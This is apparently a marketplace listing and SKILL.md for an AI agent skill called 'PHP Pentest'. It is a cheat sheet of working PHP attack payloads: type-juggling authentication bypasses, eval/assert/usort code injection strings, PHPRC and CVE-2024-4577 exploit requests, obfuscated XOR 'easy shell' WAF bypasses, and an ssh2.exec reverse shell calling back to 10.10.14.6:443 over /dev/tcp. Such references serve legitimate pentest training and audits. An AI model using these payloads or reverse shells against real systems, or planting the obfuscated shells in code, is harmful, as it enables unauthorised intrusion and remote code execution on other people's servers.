# PHP Pentest

> PHP security testing and exploitation techniques. Use this skill whenever the user needs to test PHP applications for vulnerabilities, analyze PHP code for security issues, generate PHP payloads, understand PHP type juggling attacks, or perform web application pentesting on PHP-based systems. Make sure to use this skill for any PHP security assessment, code review, or exploitation scenario.

- Skill: `abelrguezr/php-pentest` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/php-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/php-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/php-pentest

---


# PHP Pentesting Skill

A comprehensive guide for testing and exploiting PHP applications.

## Quick Reference

### Common Cookie/Session Locations
```bash
/var/lib/php/sessions
/var/lib/php5/
/tmp/
# Example path traversal: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```

Common cookie names:
- `PHPSESSID`
- `phpMyAdmin`

## Type Juggling Attacks

### Loose Comparison Bypasses (==)

PHP's loose comparison (`==`) can be exploited:

| Pattern | Result | Exploit |
|---------|--------|--------|
| `"string" == 0` | True | Non-numeric strings equal 0 |
| `"0xAAAA" == "43690"` | True | Hex strings compare as numbers |
| `"0e3264578" == 0` | True | "0e" prefix = scientific notation |
| `"0X3264578" == 0X` | True | "0" + letter = 0 |
| `"0e12334" == "0"` | True | Hash collision bypass |
| `"X" == 0` | True | Any letter = 0 |

**Use case:** Bypass password/hash comparisons in authentication.

### in_array() Type Juggling

```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));        // True (loose)
var_dump(in_array(0, $values, true));  // False (strict)
```

**Exploit:** Send `0` to bypass array checks unless strict mode is enabled.

### strcmp()/strcasecmp() Bypass

```php
// Send empty array instead of string
https://example.com/login.php/?username=admin&password[]=
```

**Exploit:** `!strcmp(array(), "real_pwd")` returns true.

### preg_match() Bypasses

#### New Line Bypass
```php
// Input with newline bypasses ^.*pattern checks
$myinput="aaaaaaa
11111111";
echo preg_match("/^.*1/",$myinput);  // 0 (doesn't match)
```

**Payload:** URL-encode newlines as `%0A` or use multi-line JSON.

#### ReDoS Bypass
```python
# 500k+ characters causes 1M backtracking steps
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```

**Exploit:** Exhaust PCRE recursion limit (default 100,000) to crash regex engine.

## Remote Code Execution (RCE) Techniques

### Via eval()
```php
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo()+'
<?php phpinfo(); ?>
```

### Via assert()
```php
// Break syntax, inject payload, fix syntax
?page=a','NeVeR') === false and system('ls') and strpos('a

// Alternative: append code execution
'.highlight_file('.passwd')+'
```

**Note:** Use `and` or `&&` - `or` and `||` won't work if first condition is true.

### Via usort()
```php
// Close brackets and inject code
VALUE: );phpinfo();#

// Inside function
VALUE: );}[PHP CODE];#

// Discover bracket count:
?order=id;}//      // Parse error - missing brackets
?order=id);}//      // Warning - correct
?order=id));}//     // Parse error - too many
```

### Via preg_replace() (PHP < 5.5)
```php
preg_replace("/a/e", "phpinfo()", "whatever")
```

**Note:** Deprecated in PHP 5.5+, but still exploitable in legacy systems.

### Via .htaccess
```bash
# Upload .htaccess to configure file execution
# Shells available: https://github.com/wireghoul/htshells
```

### Via Environment Variables

#### PHPRC Exploitation
```bash
# Upload shellcode file
# Upload config with auto_prepend_file
# Set PHPRC to config file

# Without file upload (FreeBSD):
curl "http://target/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

# With allow_url_include:
curl "http://target/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
```

### Via ssh2.exec Stream Wrapper
```http
GET /download.php?id=54&show=true&format=ssh2.exec://user:pass@127.0.0.1:22/ping%2010.10.14.6%20-c%201#

# Reverse shell:
format=ssh2.exec://user:pass@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
```

**Requirements:** `ssh2` extension installed, credentials available.

### XAMPP CGI RCE (CVE-2024-4577)
```http
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

<?php phpinfo(); ?>
```

## WAF Bypass Techniques

### Execute PHP Without Letters

#### Octal Encoding
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)";  # system(cat .passwd)
```

#### XOR Encoding
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"[");  # show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_");  # .passwd
$_($__);
```

#### XOR Easy Shell
```php
$_="`{{{"^"?<>/";  // $_ = '_GET'
${$_}[_](${$_}[__]);  // $_GET[_]($_GET[__]);
```

**Usage:**
```http
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```

## HTTP Header Bypass

### Cause Error After Headers
```php
// Send 1000+ GET/POST params or 20+ files
// PHP won't set headers, bypassing CSP
```

### Fill Body Before Headers
```php
// Trigger large error output before header() call
// Server can't modify headers after output starts
```

## Password Hash Bypass

### Bcrypt 72-Byte Limit
```php
// PASSWORD_BCRYPT truncates to 72 bytes
$cont=72;
echo password_verify(str_repeat("a",$cont), 
    password_hash(str_repeat("a",$cont)."b", PASSWORD_BCRYPT));
// Returns True - "b" is ignored
```

## Variable Variables

```php
$x = 'Da';
$$x = 'Drums';

// All output "Drums":
echo $$x;      // Drums
echo $Da;      // Drums
echo "${Da}";   // Drums
```

## Common PHP Functions to Audit

```php
// Code execution:
exec, shell_exec, system, passthru, eval, popen

// File operations:
unserialize, include, file_put_contents

// User input:
$_COOKIE, $_GET, $_POST, $_REQUEST
```

## Debugging & Analysis

### Enable Error Display
```bash
# Edit /etc/php5/apache2/php.ini
display_errors = On

# Restart Apache
sudo systemctl restart apache2
```

### Deobfuscate PHP Code
- Use: http://www.unphp.net

### Check for Xdebug RCE
```php
// If Xdebug enabled in phpinfo(), try:
https://github.com/nqxcode/xdebug-exploit
```

## Session Cookie Tricks

### Cross-Path Cookie Sharing
```php
// Same domain cookies stored together
// Path1 sets cookie, Path2 reads it
// If both use same variable name, values transfer
```

### register_globals (PHP < 4.1.1.1)
```php
// If enabled: $_GET["param"]="1234" becomes $param
// Can overwrite internal variables via HTTP params
```

### register_argc_argv Bypass
```php
// If enabled: query params populate $_SERVER['argv']
// Bypass CLI checks: ?--configPath=/lalala
// Makes web request appear as CLI execution
```

## Next Steps

1. **Run the type juggling test script** to verify loose comparison vulnerabilities
2. **Use the payload generator** for common RCE techniques
3. **Check PHP wrappers** for file inclusion attacks
4. **Analyze error messages** for information disclosure
5. **Test authentication bypasses** with type juggling

## References

- PHP Comparison Tables: https://www.php.net/manual/en/types.comparisons.php
- Type Juggling Vulnerabilities: https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
- Hash Collisions: https://github.com/spaze/hashes
- Xdebug Exploit: https://github.com/nqxcode/xdebug-exploit
- HT Shells: https://github.com/wireghoul/htshells

